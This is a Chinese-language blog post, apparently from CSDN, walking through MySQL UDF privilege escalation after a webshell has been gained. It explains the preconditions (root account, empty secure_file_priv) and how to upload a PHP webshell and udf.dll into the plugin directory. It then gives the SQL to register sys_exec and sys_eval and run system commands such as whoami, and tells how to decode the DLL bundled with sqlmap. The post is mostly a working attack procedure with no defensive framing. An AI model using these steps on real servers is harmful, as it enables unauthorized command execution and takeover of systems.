高版本mysql自定义dll提权_MySQL提权之udf提权(获得webshell的情况)

什么是udf提权?

MySQL提供了一个让使用者自行添加新的函数的功能,这种用户自行扩展函数的功能就叫udf。

它的提权原理也非常简单!即是利用了root 高权限,创建带有调用cmd的函数的udf.dll动态链接库!这样一来我们就可以利用 system权限进行提权操作了!

当我们拿到webshell后,由于中间件,例如,apache使用了较低的权限,可能仅仅是个网络服务的权限,然后我们就需要进行提权,而有时候目标机器补丁较全,各种系统提权姿势都失效的情况下,可以将目光转义到数据库服务上,在Windows下,在较低版本的mysql(<5.6)安装时默认是系统权限。还有就是很多人图方便,例如使用了各种集成环境,未做安全设置,直接用高权限账户进行站点配置,就可以考虑用UDF进行提权。

dll文件的好处?

1.扩展了应用程序的特性;

2.可以用许多种编程语言来编写;

3.简化了软件项目的管理;

4.有助于节省内存;

5.有助于资源共享;

什么是udf库?

UDF表示的是MySQL中的用户自定义函数。这就像在DLL中编写自己的函数并在MySQL中调用它们一样。我们将使用“lib_mysqludf_sys_64.dll”DLL库

不同版本的区别:

MySql < 4.1:

允许用户将任何的DLL文件里面的函数注册到MySql里。

MySql 4.1-5.0:

对用来注册的DLL文件的位置进行了限制,通常我们选择 UDF导出到系统目录

C:/windows/system32/来跳过限制。

MySql >=5.1:

这些DLL只能被放在MySql的plugin目录下。

0x01 提权的前提

1. 必须是root权限(主要是得创建和抛弃自定义函数)

2. secure_file_priv=(未写路径)

3. 将udf.dll文件上传到MySQL的plugin目录下(这里以MySQL>=5.1为例)

0x02 开始提权

这里以本地为例

1.我们这里上传了一句话,然后用菜刀连接上

先判断数据库版本

select version();

d904cc1e4f5470f9c7343dda823e025d.png

符合MySql>=5.1的情况。

2. 查看plugin目录名称:

show variables like 'plugin%';

cb6a3efe497ad389ea2383be237a0fd7.png

3. 查询目录的绝对路径:

select @@plugin_dir;

2f169c412becfa47e6f2c2f89a3bdbdd.png

4. 上传phpda.php,然后访问这个马

5. 上传udf.dll到 E:\phpStudy\PHPTutorial\MySQL\lib\plugin\下

注意:这里没有plugin这个文件夹,我们必须手动创建(直接在大马上新建就ok)

36dd2e314eb61bdcc9b4490e4789e016.png

6. 我们主要利用udf.dll中的sys_exec(),sys_eval()等函数来进行命令执行

该函数将在“系统”函数内传递参数’args-> args [0]‘。你可以使用它在目标机器上执行系统命令。

安装:

create function sys_exec returns string soname "udf.dll";

验证:

select * from mysql.func where name = 'sys_exec';

636247f597fd4b45cdbcc5ff1f3f9ee0.png

然后进行命令执行

select sys_exec("whoami");

这里用sys_exec()函数好像不可以,我们换个函数

sys_eval

该函数将执行系统命令并在屏幕上通过标准输出显示。

安装:

create function sys_eval returns string soname 'udf.dll';

验证:

select * from mysql.func where name = 'sys_eval';

然后进行命令执行

select sys_eval("whoami");

成功执行

830f39559aeda247d44df8b9a79f7002.png

删除:

drop function sys_eval;

ps: sqlmap下就有udf.dll文件,提取出来就行了

sqlmap里的udf.dll是经过编码的,需要先解码,解码的工具就在sqlmap/extra/cloak/cloak.py

5f7ff94bcc9ee84518f389a9eaca9fd9.png

解码完了,在sqlmap\udf\mysql\windows,32和64文件夹下会生成dll文件

0x03 结语

最后,总的来说,UDF提权就是利用MySql允许扩展自定义函数的特性,将webshell的权限变成和mysql运行权限一致,所以就有个前提,mysql得是以高权限进行运行的,至少得比中间件权限高,才有用这个方法进行提权的必要。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值